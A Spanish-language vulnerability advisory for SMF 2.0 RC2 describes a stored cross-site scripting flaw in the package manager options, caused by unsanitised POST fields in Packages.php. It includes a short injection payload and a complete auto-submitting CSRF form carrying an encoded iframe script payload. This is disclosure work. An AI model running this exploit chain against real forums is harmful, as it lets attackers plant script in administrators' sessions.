Descripción: | XSS en el administrador de paquetes |
Descubierto por: | cicatriz.r00t@gmail.com |
Código vulnerable: | Sources/Packages.php:1384 |
URL Vulnerable: | N/A |
PoC: | N/A |
Afecta a: | SMF 2.0 RC2 |
Descripción
Este ataque de Cross-Site Scripting sucede cuando especificamos como FTP
Server ("pack_server" input) algo como:
Código
"/onmouseover="alert(0);
Este problema reside en la linea 1384 del archivo Sources/Packages.php
http://code.google.com/p/smf2-review/source/browse/trunk/Sources/Packages.php#1384
Aunque tambien se puede ver en otras variables:
Código
+++Packages.php @@ 1381:1388 1381 if (isset($_POST['submit'])) 1382 { 1383 updateSettings(array( 1384 'package_server' => $_POST['pack_server'], 1385 'package_port' => $_POST['pack_port'], 1386 'package_username' => $_POST['pack_user'], 1387 'package_make_backups' => !empty($_POST['package_make_backups']) 1388 )); ---Packages.php
Esto se puede hacer automáticamente mediante CSRF, que aunque tiene un token el
formulario original no es checkeado.
Entonces el código seria simple:
Código
<body onload="document.forms[0].elements[4].click();"> <form accept-charset="UTF-8" method="post" action="/index.php?action=admin;area=packages;sa=options"> <input type="text" size="30" value="&#34;&#62;&#60;&#105;&#102;&#114;&#97;&#109;&#101;&#47;&#115;&#114;&#99;&#61;&#34;&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#48;&#41;&#34;&#62;" id="pack_server" name="pack_server"/> <input type="text" value="" size="3" id="pack_port" name="pack_port"/> <input type="text" size="30" value="" id="pack_user" name="pack_user"/> <input type="checkbox" checked="checked" class="check" value="1" id="package_make_backups" name="package_make_backups"/> <input type="submit" value="Save" name="submit"/> </form> </body>
Solo con que se cumpla el if() se alojan las variables:
Citar
1381 if (isset($_POST['submit']))
El ataque XSS también se ejecuta en la sección de "File Permissions".